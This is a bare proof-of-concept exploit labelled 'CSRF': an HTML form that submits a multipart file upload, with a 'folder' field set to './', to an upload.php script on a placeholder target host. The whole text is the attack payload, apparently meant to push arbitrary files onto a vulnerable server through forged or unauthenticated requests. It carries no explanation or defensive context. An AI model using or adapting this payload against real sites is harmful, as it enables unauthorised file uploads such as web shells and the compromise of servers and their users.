CSRF

<form enctype="multipart/form-data"
action="www.targetmu/path/upload.php" method="post">
<input type="text" name="folder" value="./" /><br />
Please choose a file: <input name="Filedata" type="file" /><br />
<input type="submit" value="upload" />
</form>